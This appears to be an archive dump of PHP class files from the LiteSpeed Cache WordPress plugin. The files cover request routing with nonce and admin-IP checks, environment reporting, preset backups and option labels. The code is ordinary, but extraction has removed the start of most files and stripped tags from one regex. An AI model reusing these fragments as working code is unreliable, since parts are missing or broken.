self::$_action; } /** * Check if is logged in * * @since 1.1.3 * @access public * @return boolean */ public static function is_logged_in() { if (!isset(self::$_is_logged_in)) { self::$_is_logged_in = is_user_logged_in(); } return self::$_is_logged_in; } /** * Check if is ajax call * * @since 1.1.0 * @access public * @return boolean */ public static function is_ajax() { if (!isset(self::$_is_ajax)) { self::$_is_ajax = wp_doing_ajax(); } return self::$_is_ajax; } /** * Check if is admin ip * * @since 1.1.0 * @access public * @return boolean */ public function is_admin_ip() { if (!isset(self::$_is_admin_ip)) { $ips = $this->conf(self::O_DEBUG_IPS); self::$_is_admin_ip = $this->ip_access($ips); } return self::$_is_admin_ip; } /** * Get type value * * @since 1.6 * @access public */ public static function verify_type() { if (empty($_REQUEST[self::TYPE])) { Debug2::debug('[Router] no type', 2); return false; } Debug2::debug('[Router] parsed type: ' . $_REQUEST[self::TYPE], 2); return $_REQUEST[self::TYPE]; } /** * Check privilege and nonce for the action * * @since 1.1.0 * @access private */ private function verify_action() { if (empty($_REQUEST[self::ACTION])) { Debug2::debug2('[Router] LSCWP_CTRL bypassed empty'); return; } $action = stripslashes($_REQUEST[self::ACTION]); if (!$action) { return; } $_is_public_action = false; // Each action must have a valid nonce unless its from admin ip and is public action // Validate requests nonce (from admin logged in page or cli) if (!$this->verify_nonce($action)) { // check if it is from admin ip if (!$this->is_admin_ip()) { Debug2::debug('[Router] LSCWP_CTRL query string - did not match admin IP: ' . $action); return; } // check if it is public action if ( !in_array($action, array( Core::ACTION_QS_NOCACHE, Core::ACTION_QS_PURGE, Core::ACTION_QS_PURGE_SINGLE, Core::ACTION_QS_SHOW_HEADERS, Core::ACTION_QS_PURGE_ALL, Core::ACTION_QS_PURGE_EMPTYCACHE, )) ) { Debug2::debug('[Router] LSCWP_CTRL query string - did not match admin IP Actions: ' . $action); return; } if (apply_filters('litespeed_qs_forbidden', false)) { Debug2::debug('[Router] LSCWP_CTRL forbidden by hook litespeed_qs_forbidden'); return; } $_is_public_action = true; } /* Now it is a valid action, lets log and check the permission */ Debug2::debug('[Router] LSCWP_CTRL: ' . $action); // OK, as we want to do something magic, lets check if its allowed $_is_multisite = is_multisite(); $_is_network_admin = $_is_multisite && is_network_admin(); $_can_network_option = $_is_network_admin && current_user_can('manage_network_options'); $_can_option = current_user_can('manage_options'); switch ($action) { case self::ACTION_TMP_DISABLE: // Disable LSC for 24H Debug2::tmp_disable(); Admin::redirect("?page=litespeed-toolbox#settings-debug"); return; case self::ACTION_SAVE_SETTINGS_NETWORK: // Save network settings if ($_can_network_option) { self::$_action = $action; } return; case Core::ACTION_PURGE_BY: if (defined('LITESPEED_ON') && ($_can_network_option || $_can_option || self::is_ajax())) { // here may need more security self::$_action = $action; } return; case self::ACTION_DB_OPTM: if ($_can_network_option || $_can_option) { self::$_action = $action; } return; case Core::ACTION_PURGE_EMPTYCACHE: // todo: moved to purge.cls type action if ((defined('LITESPEED_ON') || $_is_network_admin) && ($_can_network_option || (!$_is_multisite && $_can_option))) { self::$_action = $action; } return; case Core::ACTION_QS_NOCACHE: case Core::ACTION_QS_PURGE: case Core::ACTION_QS_PURGE_SINGLE: case Core::ACTION_QS_SHOW_HEADERS: case Core::ACTION_QS_PURGE_ALL: case Core::ACTION_QS_PURGE_EMPTYCACHE: if (defined('LITESPEED_ON') && ($_is_public_action || self::is_ajax())) { self::$_action = $action; } return; case self::ACTION_ADMIN_DISPLAY: case self::ACTION_PLACEHOLDER: case self::ACTION_AVATAR: case self::ACTION_IMG_OPTM: case self::ACTION_MEDIA: case self::ACTION_CLOUD: case self::ACTION_CDN_CLOUDFLARE: case self::ACTION_CRAWLER: case self::ACTION_GUEST: case self::ACTION_PRESET: case self::ACTION_IMPORT: case self::ACTION_REPORT: case self::ACTION_CSS: case self::ACTION_UCSS: case self::ACTION_VPI: case self::ACTION_CONF: case self::ACTION_ACTIVATION: case self::ACTION_HEALTH: case self::ACTION_SAVE_SETTINGS: // Save settings if ($_can_option && !$_is_network_admin) { self::$_action = $action; } return; case self::ACTION_PURGE: case self::ACTION_DEBUG2: if ($_can_network_option || $_can_option) { self::$_action = $action; } return; case Core::ACTION_DISMISS: /** * Non ajax call can dismiss too * * @since 2.9 */ // if ( self::is_ajax() ) { self::$_action = $action; // } return; default: Debug2::debug('[Router] LSCWP_CTRL match failed: ' . $action); return; } } /** * Verify nonce * * @since 1.1.0 * @access public * @param string $action * @return bool */ public function verify_nonce( $action ) { if (!isset($_REQUEST[self::NONCE]) || !wp_verify_nonce($_REQUEST[self::NONCE], $action)) { return false; } else { return true; } } /** * Check if the ip is in the range * * @since 1.1.0 * @access public */ public function ip_access( $ip_list ) { if (!$ip_list) { return false; } if (!isset(self::$_ip)) { self::$_ip = self::get_ip(); } if (!self::$_ip) { return false; } // $uip = explode('.', $_ip); // if(empty($uip) || count($uip) != 4) Return false; // foreach($ip_list as $key => $ip) $ip_list[$key] = explode('.', trim($ip)); // foreach($ip_list as $key => $ip) { // if(count($ip) != 4) continue; // for($i = 0; $i <= 3; $i++) if($ip[$i] == '*') $ip_list[$key][$i] = $uip[$i]; // } return in_array(self::$_ip, $ip_list); } /** * Get client ip * * @since 1.1.0 * @since 1.6.5 changed to public * @access public * @return string */ public static function get_ip() { $_ip = ''; // if ( function_exists( 'apache_request_headers' ) ) { // $apache_headers = apache_request_headers(); // $_ip = ! empty( $apache_headers['True-Client-IP'] ) ? $apache_headers['True-Client-IP'] : false; // if ( ! $_ip ) { // $_ip = ! empty( $apache_headers['X-Forwarded-For'] ) ? $apache_headers['X-Forwarded-For'] : false; // $_ip = explode( ',', $_ip ); // $_ip = $_ip[ 0 ]; // } // } if (!$_ip) { $_ip = !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : false; } return $_ip; } /** * Check if opcode cache is enabled * * @since 1.8.2 * @access public */ public static function opcache_enabled() { return function_exists('opcache_reset') && ini_get('opcache.enable'); } /** * Check if opcode cache is restricted and file that is requesting. * https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.restrict-api * * @since 7.3 * @access public */ public static function opcache_restricted($file) { $restrict_value = ini_get('opcache.restrict_api'); if ($restrict_value) { if ( !$file || false === strpos($restrict_value, $file) ) { return true; } } return false; } /** * Handle static files * * @since 3.0 */ public function serve_static() { if (!empty($_SERVER['SCRIPT_URI'])) { if (strpos($_SERVER['SCRIPT_URI'], LITESPEED_STATIC_URL . '/') !== 0) { return; } $path = substr($_SERVER['SCRIPT_URI'], strlen(LITESPEED_STATIC_URL . '/')); } elseif (!empty($_SERVER['REQUEST_URI'])) { $static_path = parse_url(LITESPEED_STATIC_URL, PHP_URL_PATH) . '/'; if (strpos($_SERVER['REQUEST_URI'], $static_path) !== 0) { return; } $path = substr(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), strlen($static_path)); } else { return; } $path = explode('/', $path, 2); if (empty($path[0]) || empty($path[1])) { return; } switch ($path[0]) { case 'avatar': $this->cls('Avatar')->serve_static($path[1]); break; case 'localres': $this->cls('Localization')->serve_static($path[1]); break; default: break; } } /** * Handle all request actions from main cls * * This is different than other handlers * * @since 3.0 * @access public */ public function handler( $cls ) { if (!in_array($cls, self::$_HANDLERS)) { return; } return $this->cls($cls)->handler(); } } report.cls.php000064400000014172152077520260007363 0ustar00post_env(); break; default: break; } Admin::redirect(); } /** * post env report number to ls center server * * @since 1.6.5 * @access public */ public function post_env() { $report_con = $this->generate_environment_report(); // Generate link $link = !empty($_POST['link']) ? esc_url($_POST['link']) : ''; $notes = !empty($_POST['notes']) ? esc_html($_POST['notes']) : ''; $php_info = !empty($_POST['attach_php']) ? esc_html($_POST['attach_php']) : ''; $report_php = $php_info === '1' ? $this->generate_php_report() : ''; if ($report_php) { $report_con .= "\nPHPINFO\n" . $report_php; } $data = array( 'env' => $report_con, 'link' => $link, 'notes' => $notes, ); $json = Cloud::post(Cloud::API_REPORT, $data); if (!is_array($json)) { return; } $num = !empty($json['num']) ? $json['num'] : '--'; $summary = array( 'num' => $num, 'dateline' => time(), ); self::save_summary($summary); return $num; } /** * Gathers the PHP information. * * @since 7.0 * @access public */ public function generate_php_report( $flags = INFO_GENERAL | INFO_CONFIGURATION | INFO_MODULES ) { // INFO_ENVIRONMENT $report = ''; ob_start(); phpinfo($flags); $report = ob_get_contents(); ob_end_clean(); preg_match('%.*?(.*?)%s', $report, $report); return $report[2]; } /** * Gathers the environment details and creates the report. * Will write to the environment report file. * * @since 1.0.12 * @access public */ public function generate_environment_report( $options = null ) { global $wp_version, $_SERVER; $frontend_htaccess = Htaccess::get_frontend_htaccess(); $backend_htaccess = Htaccess::get_backend_htaccess(); $paths = array( $frontend_htaccess ); if ($frontend_htaccess != $backend_htaccess) { $paths[] = $backend_htaccess; } if (is_multisite()) { $active_plugins = get_site_option('active_sitewide_plugins'); if (!empty($active_plugins)) { $active_plugins = array_keys($active_plugins); } } else { $active_plugins = get_option('active_plugins'); } if (function_exists('wp_get_theme')) { $theme_obj = wp_get_theme(); $active_theme = $theme_obj->get('Name'); } else { $active_theme = get_current_theme(); } $extras = array( 'wordpress version' => $wp_version, 'siteurl' => get_option('siteurl'), 'home' => get_option('home'), 'home_url' => home_url(), 'locale' => get_locale(), 'active theme' => $active_theme, ); $extras['active plugins'] = $active_plugins; $extras['cloud'] = Cloud::get_summary(); foreach (array( 'mini_html', 'pk_b64', 'sk_b64', 'cdn_dash', 'ips' ) as $v) { if (!empty($extras['cloud'][$v])) { unset($extras['cloud'][$v]); } } if (is_null($options)) { $options = $this->get_options(true); if (is_multisite()) { $options2 = $this->get_options(); foreach ($options2 as $k => $v) { if (isset($options[$k]) && $options[$k] !== $v) { $options['[Overwritten] ' . $k] = $v; } } } } if (!is_null($options) && is_multisite()) { $blogs = Activation::get_network_ids(); if (!empty($blogs)) { $i = 0; foreach ($blogs as $blog_id) { if (++$i > 3) { // Only log 3 subsites break; } $opts = $this->cls('Conf')->load_options($blog_id, true); if (isset($opts[self::O_CACHE])) { $options['blog ' . $blog_id . ' radio select'] = $opts[self::O_CACHE]; } } } } // Security: Remove cf key in report $secure_fields = array( self::O_CDN_CLOUDFLARE_KEY, self::O_OBJECT_PSWD ); foreach ($secure_fields as $v) { if (!empty($options[$v])) { $options[$v] = str_repeat('*', strlen($options[$v])); } } $report = $this->build_environment_report($_SERVER, $options, $extras, $paths); return $report; } /** * Builds the environment report buffer with the given parameters * * @access private */ private function build_environment_report( $server, $options, $extras = array(), $htaccess_paths = array() ) { $server_keys = array( 'DOCUMENT_ROOT' => '', 'SERVER_SOFTWARE' => '', 'X-LSCACHE' => '', 'HTTP_X_LSCACHE' => '', ); $server_vars = array_intersect_key($server, $server_keys); $server_vars[] = 'LSWCP_TAG_PREFIX = ' . LSWCP_TAG_PREFIX; $server_vars = array_merge($server_vars, $this->cls('Base')->server_vars()); $buf = $this->_format_report_section('Server Variables', $server_vars); $buf .= $this->_format_report_section('WordPress Specific Extras', $extras); $buf .= $this->_format_report_section('LSCache Plugin Options', $options); if (empty($htaccess_paths)) { return $buf; } foreach ($htaccess_paths as $path) { if (!file_exists($path) || !is_readable($path)) { $buf .= $path . " does not exist or is not readable.\n"; continue; } $content = file_get_contents($path); if ($content === false) { $buf .= $path . " returned false for file_get_contents.\n"; continue; } $buf .= $path . " contents:\n" . $content . "\n\n"; } return $buf; } /** * Creates a part of the environment report based on a section header and an array for the section parameters. * * @since 1.0.12 * @access private */ private function _format_report_section( $section_header, $section ) { $tab = ' '; // four spaces if (empty($section)) { return 'No matching ' . $section_header . "\n\n"; } $buf = $section_header; foreach ($section as $k => $v) { $buf .= "\n" . $tab; if (!is_numeric($k)) { $buf .= $k . ' = '; } if (!is_string($v)) { $v = var_export($v, true); } else { $v = esc_html($v); } $buf .= $v; } return $buf . "\n\n"; } } import.preset.cls.php000064400000013001152077520260010651 0ustar00dirlist(self::BACKUP_DIR) ?: array() ); rsort($backups); return $backups; } /** * Removes extra backup files * * @since 5.3.0 * @access public */ public static function prune_backups() { $backups = self::get_backups(); global $wp_filesystem; foreach (array_slice($backups, self::MAX_BACKUPS) as $backup) { $path = self::get_backup($backup); $wp_filesystem->delete($path); Debug2::debug('[Preset] Deleted old backup from ' . $backup); } } /** * Returns a settings file's extensionless basename given its filesystem path * * @since 5.3.0 * @access public */ public static function basename( $path ) { return basename($path, '.data'); } /** * Returns a standard preset's path given its extensionless basename * * @since 5.3.0 * @access public */ public static function get_standard( $name ) { return path_join(self::STANDARD_DIR, $name . '.data'); } /** * Returns a backup's path given its extensionless basename * * @since 5.3.0 * @access public */ public static function get_backup( $name ) { return path_join(self::BACKUP_DIR, $name . '.data'); } /** * Initializes the global $wp_filesystem object and clears stat cache * * @since 5.3.0 */ static function init_filesystem() { require_once ABSPATH . '/wp-admin/includes/file.php'; \WP_Filesystem(); clearstatcache(); } /** * Init * * @since 5.3.0 */ public function __construct() { Debug2::debug('[Preset] Init'); $this->_summary = self::get_summary(); } /** * Applies a standard preset's settings given its extensionless basename * * @since 5.3.0 * @access public */ public function apply( $preset ) { $this->make_backup($preset); $path = self::get_standard($preset); $result = $this->import_file($path) ? $preset : 'error'; $this->log($result); } /** * Restores settings from the backup file with the given timestamp, then deletes the file * * @since 5.3.0 * @access public */ public function restore( $timestamp ) { $backups = array(); foreach (self::get_backups() as $backup) { if (preg_match('/^backup-' . $timestamp . '(-|$)/', $backup) === 1) { $backups[] = $backup; } } if (empty($backups)) { $this->log('error'); return; } $backup = $backups[0]; $path = self::get_backup($backup); if (!$this->import_file($path)) { $this->log('error'); return; } self::init_filesystem(); global $wp_filesystem; $wp_filesystem->delete($path); Debug2::debug('[Preset] Deleted most recent backup from ' . $backup); $this->log('backup'); } /** * Saves current settings as a backup file, then prunes extra backup files * * @since 5.3.0 * @access public */ public function make_backup( $preset ) { $backup = 'backup-' . time() . '-before-' . $preset; $data = $this->export(true); $path = self::get_backup($backup); File::save($path, $data, true); Debug2::debug('[Preset] Backup saved to ' . $backup); self::prune_backups(); } /** * Tries to import from a given settings file * * @since 5.3.0 */ function import_file( $path ) { $debug = function ( $result, $name ) { $action = $result ? 'Applied' : 'Failed to apply'; Debug2::debug('[Preset] ' . $action . ' settings from ' . $name); return $result; }; $name = self::basename($path); $contents = file_get_contents($path); if (false === $contents) { Debug2::debug('[Preset] ❌ Failed to get file contents'); return $debug(false, $name); } $parsed = array(); try { // Check if the data is v4+ if (strpos($contents, '["_version",') === 0) { $contents = explode("\n", $contents); foreach ($contents as $line) { $line = trim($line); if (empty($line)) { continue; } list($key, $value) = \json_decode($line, true); $parsed[$key] = $value; } } else { $parsed = \json_decode(base64_decode($contents), true); } } catch (\Exception $ex) { Debug2::debug('[Preset] ❌ Failed to parse serialized data'); return $debug(false, $name); } if (empty($parsed)) { Debug2::debug('[Preset] ❌ Nothing to apply'); return $debug(false, $name); } $this->cls('Conf')->update_confs($parsed); return $debug(true, $name); } /** * Updates the log * * @since 5.3.0 */ function log( $preset ) { $this->_summary['preset'] = $preset; $this->_summary['preset_timestamp'] = time(); self::save_summary(); } /** * Handles all request actions from main cls * * @since 5.3.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_APPLY: $this->apply(!empty($_GET['preset']) ? $_GET['preset'] : false); break; case self::TYPE_RESTORE: $this->restore(!empty($_GET['timestamp']) ? $_GET['timestamp'] : false); break; default: break; } Admin::redirect(); } } cloud.cls.php000064400000016514152077520260007160 0ustar00 */ protected $_summary; /** * Init * * @since 3.0 */ public function __construct() { $allowed_hosts = [ 'wpapi.quic.cloud' ]; if ( defined( 'LITESPEED_DEV' ) && constant( 'LITESPEED_DEV' ) ) { $allowed_hosts[] = 'my.preview.quic.cloud'; $allowed_hosts[] = 'api.preview.quic.cloud'; $this->_cloud_server = 'https://api.preview.quic.cloud'; $this->_cloud_ips = 'https://api.preview.quic.cloud/ips'; $this->_cloud_server_dash = 'https://my.preview.quic.cloud'; $this->_cloud_server_wp = 'https://wpapi.quic.cloud'; } else { $allowed_hosts[] = 'my.quic.cloud'; $allowed_hosts[] = 'api.quic.cloud'; } add_filter( 'allowed_redirect_hosts', function( $hosts ) use ( $allowed_hosts ) { if ( ! is_array ( $hosts ) ) { $hosts = []; } return array_merge( $hosts, $allowed_hosts ); } ); $this->_summary = self::get_summary(); } /** * Return succeeded response * * @since 3.0 * * @param array $data Additional data. * @return array */ public static function ok( $data = [] ) { $data['_res'] = 'ok'; return $data; } /** * Return error * * @since 3.0 * * @param string $code Error code. * @return array */ public static function err( $code ) { self::debug( '❌ Error response code: ' . $code ); return [ '_res' => 'err', '_msg' => $code, ]; } /** * Handle all request actions from main cls * * @since 3.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_CLEAR_CLOUD: $this->clear_cloud(); break; case self::TYPE_REDETECT_CLOUD: // phpcs:ignore WordPress.Security.NonceVerification.Recommended $svc = ! empty( $_GET['svc'] ) ? sanitize_text_field( wp_unslash( $_GET['svc'] ) ) : ''; if ( $svc ) { $this->detect_cloud( $svc, true ); } break; case self::TYPE_CLEAR_PROMO: $this->_clear_promo(); break; case self::TYPE_RESET: $this->reset_qc(); break; case self::TYPE_ACTIVATE: $this->init_qc(); break; case self::TYPE_LINK: $this->link_qc(); break; case self::TYPE_ENABLE_CDN: $this->enable_cdn(); break; case self::TYPE_API: // phpcs:ignore WordPress.Security.NonceVerification.Recommended $action2 = ! empty( $_GET['action2'] ) ? sanitize_text_field( wp_unslash( $_GET['action2'] ) ) : ''; if ( $action2 ) { $this->api_link_call( $action2 ); } break; case self::TYPE_SYNC_STATUS: $this->load_qc_status_for_dash( 'cdn_dash', true ); $msg = __( 'Sync QUIC.cloud status successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); break; case self::TYPE_SYNC_USAGE: $this->sync_usage(); $msg = __( 'Sync credit allowance with Cloud Server successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); break; default: break; } Admin::redirect(); } } health.cls.php000064400000005523152077520260007315 0ustar00_summary = self::get_summary(); } /** * Test latest speed * * @since 3.0 */ private function _ping( $type ) { $data = array( 'action' => $type ); $json = Cloud::post(Cloud::SVC_HEALTH, $data, 600); if (empty($json['data']['before']) || empty($json['data']['after'])) { Debug2::debug('[Health] ❌ no data'); return false; } $this->_summary[$type . '.before'] = $json['data']['before']; $this->_summary[$type . '.after'] = $json['data']['after']; self::save_summary(); Debug2::debug('[Health] saved result'); } /** * Generate scores * * @since 3.0 */ public function scores() { $speed_before = $speed_after = $speed_improved = 0; if (!empty($this->_summary['speed.before']) && !empty($this->_summary['speed.after'])) { // Format loading time $speed_before = $this->_summary['speed.before'] / 1000; if ($speed_before < 0.01) { $speed_before = 0.01; } $speed_before = number_format($speed_before, 2); $speed_after = $this->_summary['speed.after'] / 1000; if ($speed_after < 0.01) { $speed_after = number_format($speed_after, 3); } else { $speed_after = number_format($speed_after, 2); } $speed_improved = (($this->_summary['speed.before'] - $this->_summary['speed.after']) * 100) / $this->_summary['speed.before']; if ($speed_improved > 99) { $speed_improved = number_format($speed_improved, 2); } else { $speed_improved = number_format($speed_improved); } } $score_before = $score_after = $score_improved = 0; if (!empty($this->_summary['score.before']) && !empty($this->_summary['score.after'])) { $score_before = $this->_summary['score.before']; $score_after = $this->_summary['score.after']; // Format Score $score_improved = (($score_after - $score_before) * 100) / $score_after; if ($score_improved > 99) { $score_improved = number_format($score_improved, 2); } else { $score_improved = number_format($score_improved); } } return array( 'speed_before' => $speed_before, 'speed_after' => $speed_after, 'speed_improved' => $speed_improved, 'score_before' => $score_before, 'score_after' => $score_after, 'score_improved' => $score_improved, ); } /** * Handle all request actions from main cls * * @since 3.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_SPEED: case self::TYPE_SCORE: $this->_ping($type); break; default: break; } Admin::redirect(); } } lang.cls.php000064400000042026152077520260006770 0ustar00|string Array map when $status is null, otherwise a single status label or 'N/A'. */ public static function img_status( $status = null ) { $list = [ Img_Optm::STATUS_NEW => __( 'Images not requested', 'litespeed-cache' ), Img_Optm::STATUS_RAW => __( 'Images ready to request', 'litespeed-cache' ), Img_Optm::STATUS_REQUESTED => __( 'Images requested', 'litespeed-cache' ), Img_Optm::STATUS_NOTIFIED => __( 'Images notified to pull', 'litespeed-cache' ), Img_Optm::STATUS_PULLED => __( 'Images optimized and pulled', 'litespeed-cache' ), ]; if ( null !== $status ) { return ! empty( $list[ $status ] ) ? $list[ $status ] : 'N/A'; } return $list; } /** * Try translating a string. * * Optionally supports sprintf-style substitutions when $raw_string * contains a '::' separator (e.g. 'key::arg1::arg2'). * * @since 4.7 * * @param string $raw_string Raw translation key or key with ::-separated args. * @return string Translated string or original raw string if not found. */ public static function maybe_translate( $raw_string ) { $map = [ 'auto_alias_failed_cdn' => __( 'Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict.', 'litespeed-cache' ) . ' ' . Doc::learn_more( 'https://quic.cloud/docs/cdn/dns/how-to-setup-domain-alias/', false, false, false, true ), 'auto_alias_failed_uid' => __( 'Unable to automatically add %1$s as a Domain Alias for main %2$s domain.', 'litespeed-cache' ) . ' ' . __( 'Alias is in use by another QUIC.cloud account.', 'litespeed-cache' ) . ' ' . Doc::learn_more( 'https://quic.cloud/docs/cdn/dns/how-to-setup-domain-alias/', false, false, false, true ), ]; // Maybe has placeholder. if ( strpos( $raw_string, '::' ) ) { $replacements = explode( '::', $raw_string ); if ( empty( $map[ $replacements[0] ] ) ) { return $raw_string; } $tpl = $map[ $replacements[0] ]; unset( $replacements[0] ); return vsprintf( $tpl, array_values( $replacements ) ); } // Direct translation only. if ( empty( $map[ $raw_string ] ) ) { return $raw_string; } return $map[ $raw_string ]; } /** * Get the title/label for an option ID. * * @since 3.0 * @access public * * @param string|int $id Option identifier constant. * @return string Human-readable title or 'N/A' if not found. */ public static function title( $id ) { $_lang_list = [ self::O_SERVER_IP => __( 'Server IP', 'litespeed-cache' ), self::O_CACHE => __( 'Enable Cache', 'litespeed-cache' ), self::O_CACHE_BROWSER => __( 'Browser Cache', 'litespeed-cache' ), self::O_CACHE_TTL_PUB => __( 'Default Public Cache TTL', 'litespeed-cache' ), self::O_CACHE_TTL_PRIV => __( 'Default Private Cache TTL', 'litespeed-cache' ), self::O_CACHE_TTL_FRONTPAGE => __( 'Default Front Page TTL', 'litespeed-cache' ), self::O_CACHE_TTL_FEED => __( 'Default Feed TTL', 'litespeed-cache' ), self::O_CACHE_TTL_REST => __( 'Default REST TTL', 'litespeed-cache' ), self::O_CACHE_TTL_STATUS => __( 'Default HTTP Status Code Page TTL', 'litespeed-cache' ), self::O_CACHE_TTL_BROWSER => __( 'Browser Cache TTL', 'litespeed-cache' ), self::O_CACHE_AJAX_TTL => __( 'AJAX Cache TTL', 'litespeed-cache' ), self::O_AUTO_UPGRADE => __( 'Automatically Upgrade', 'litespeed-cache' ), self::O_GUEST => __( 'Guest Mode', 'litespeed-cache' ), self::O_GUEST_OPTM => __( 'Guest Optimization', 'litespeed-cache' ), self::O_NEWS => __( 'Notifications', 'litespeed-cache' ), self::O_CACHE_PRIV => __( 'Cache Logged-in Users', 'litespeed-cache' ), self::O_CACHE_COMMENTER => __( 'Cache Commenters', 'litespeed-cache' ), self::O_CACHE_REST => __( 'Cache REST API', 'litespeed-cache' ), self::O_CACHE_PAGE_LOGIN => __( 'Cache Login Page', 'litespeed-cache' ), self::O_CACHE_MOBILE => __( 'Cache Mobile', 'litespeed-cache' ), self::O_CACHE_MOBILE_RULES => __( 'List of Mobile User Agents', 'litespeed-cache' ), self::O_CACHE_PRIV_URI => __( 'Private Cached URIs', 'litespeed-cache' ), self::O_CACHE_DROP_QS => __( 'Drop Query String', 'litespeed-cache' ), self::O_OBJECT => __( 'Object Cache', 'litespeed-cache' ), self::O_OBJECT_KIND => __( 'Method', 'litespeed-cache' ), self::O_OBJECT_HOST => __( 'Host', 'litespeed-cache' ), self::O_OBJECT_PORT => __( 'Port', 'litespeed-cache' ), self::O_OBJECT_LIFE => __( 'Default Object Lifetime', 'litespeed-cache' ), self::O_OBJECT_USER => __( 'Username', 'litespeed-cache' ), self::O_OBJECT_PSWD => __( 'Password', 'litespeed-cache' ), self::O_OBJECT_DB_ID => __( 'Redis Database ID', 'litespeed-cache' ), self::O_OBJECT_GLOBAL_GROUPS => __( 'Global Groups', 'litespeed-cache' ), self::O_OBJECT_NON_PERSISTENT_GROUPS => __( 'Do Not Cache Groups', 'litespeed-cache' ), self::O_OBJECT_PERSISTENT => __( 'Persistent Connection', 'litespeed-cache' ), self::O_OBJECT_ADMIN => __( 'Cache WP-Admin', 'litespeed-cache' ), self::O_PURGE_ON_UPGRADE => __( 'Purge All On Upgrade', 'litespeed-cache' ), self::O_PURGE_STALE => __( 'Serve Stale', 'litespeed-cache' ), self::O_PURGE_TIMED_URLS => __( 'Scheduled Purge URLs', 'litespeed-cache' ), self::O_PURGE_TIMED_URLS_TIME => __( 'Scheduled Purge Time', 'litespeed-cache' ), self::O_CACHE_FORCE_URI => __( 'Force Cache URIs', 'litespeed-cache' ), self::O_CACHE_FORCE_PUB_URI => __( 'Force Public Cache URIs', 'litespeed-cache' ), self::O_CACHE_EXC => __( 'Do Not Cache URIs', 'litespeed-cache' ), self::O_CACHE_EXC_QS => __( 'Do Not Cache Query Strings', 'litespeed-cache' ), self::O_CACHE_EXC_CAT => __( 'Do Not Cache Categories', 'litespeed-cache' ), self::O_CACHE_EXC_TAG => __( 'Do Not Cache Tags', 'litespeed-cache' ), self::O_CACHE_EXC_ROLES => __( 'Do Not Cache Roles', 'litespeed-cache' ), self::O_OPTM_CSS_MIN => __( 'CSS Minify', 'litespeed-cache' ), self::O_OPTM_CSS_COMB => __( 'CSS Combine', 'litespeed-cache' ), self::O_OPTM_CSS_COMB_EXT_INL => __( 'CSS Combine External and Inline', 'litespeed-cache' ), self::O_OPTM_UCSS => __( 'Generate UCSS', 'litespeed-cache' ), self::O_OPTM_UCSS_INLINE => __( 'UCSS Inline', 'litespeed-cache' ), self::O_OPTM_UCSS_SELECTOR_WHITELIST => __( 'UCSS Selector Allowlist', 'litespeed-cache' ), self::O_OPTM_UCSS_FILE_EXC_INLINE => __( 'UCSS Inline Excluded Files', 'litespeed-cache' ), self::O_OPTM_UCSS_EXC => __( 'UCSS URI Excludes', 'litespeed-cache' ), self::O_OPTM_JS_MIN => __( 'JS Minify', 'litespeed-cache' ), self::O_OPTM_JS_COMB => __( 'JS Combine', 'litespeed-cache' ), self::O_OPTM_JS_COMB_EXT_INL => __( 'JS Combine External and Inline', 'litespeed-cache' ), self::O_OPTM_HTML_MIN => __( 'HTML Minify', 'litespeed-cache' ), self::O_OPTM_HTML_LAZY => __( 'HTML Lazy Load Selectors', 'litespeed-cache' ), self::O_OPTM_HTML_SKIP_COMMENTS => __( 'HTML Keep Comments', 'litespeed-cache' ), self::O_OPTM_CSS_ASYNC => __( 'Load CSS Asynchronously', 'litespeed-cache' ), self::O_OPTM_CCSS_PER_URL => __( 'CCSS Per URL', 'litespeed-cache' ), self::O_OPTM_CSS_ASYNC_INLINE => __( 'Inline CSS Async Lib', 'litespeed-cache' ), self::O_OPTM_CSS_FONT_DISPLAY => __( 'Font Display Optimization', 'litespeed-cache' ), self::O_OPTM_JS_DEFER => __( 'Load JS Deferred', 'litespeed-cache' ), self::O_OPTM_LOCALIZE => __( 'Localize Resources', 'litespeed-cache' ), self::O_OPTM_LOCALIZE_DOMAINS => __( 'Localization Files', 'litespeed-cache' ), self::O_OPTM_DNS_PREFETCH => __( 'DNS Prefetch', 'litespeed-cache' ), self::O_OPTM_DNS_PREFETCH_CTRL => __( 'DNS Prefetch Control', 'litespeed-cache' ), self::O_OPTM_DNS_PRECONNECT => __( 'DNS Preconnect', 'litespeed-cache' ), self::O_OPTM_CSS_EXC => __( 'CSS Excludes', 'litespeed-cache' ), self::O_OPTM_JS_DELAY_INC => __( 'JS Delayed Includes', 'litespeed-cache' ), self::O_OPTM_JS_EXC => __( 'JS Excludes', 'litespeed-cache' ), self::O_OPTM_QS_RM => __( 'Remove Query Strings', 'litespeed-cache' ), self::O_OPTM_GGFONTS_ASYNC => __( 'Load Google Fonts Asynchronously', 'litespeed-cache' ), self::O_OPTM_GGFONTS_RM => __( 'Remove Google Fonts', 'litespeed-cache' ), self::O_OPTM_CCSS_CON => __( 'Critical CSS Rules', 'litespeed-cache' ), self::O_OPTM_CCSS_SEP_POSTTYPE => __( 'Separate CCSS Cache Post Types', 'litespeed-cache' ), self::O_OPTM_CCSS_SEP_URI => __( 'Separate CCSS Cache URIs', 'litespeed-cache' ), self::O_OPTM_CCSS_SELECTOR_WHITELIST => __( 'CCSS Selector Allowlist', 'litespeed-cache' ), self::O_OPTM_JS_DEFER_EXC => __( 'JS Deferred / Delayed Excludes', 'litespeed-cache' ), self::O_OPTM_GM_JS_EXC => __( 'Guest Mode JS Excludes', 'litespeed-cache' ), self::O_OPTM_EMOJI_RM => __( 'Remove WordPress Emoji', 'litespeed-cache' ), self::O_OPTM_NOSCRIPT_RM => __( 'Remove Noscript Tags', 'litespeed-cache' ), self::O_OPTM_EXC => __( 'URI Excludes', 'litespeed-cache' ), self::O_OPTM_GUEST_ONLY => __( 'Optimize for Guests Only', 'litespeed-cache' ), self::O_OPTM_EXC_ROLES => __( 'Role Excludes', 'litespeed-cache' ), self::O_DISCUSS_AVATAR_CACHE => __( 'Gravatar Cache', 'litespeed-cache' ), self::O_DISCUSS_AVATAR_CRON => __( 'Gravatar Cache Cron', 'litespeed-cache' ), self::O_DISCUSS_AVATAR_CACHE_TTL => __( 'Gravatar Cache TTL', 'litespeed-cache' ), self::O_MEDIA_LAZY => __( 'Lazy Load Images', 'litespeed-cache' ), 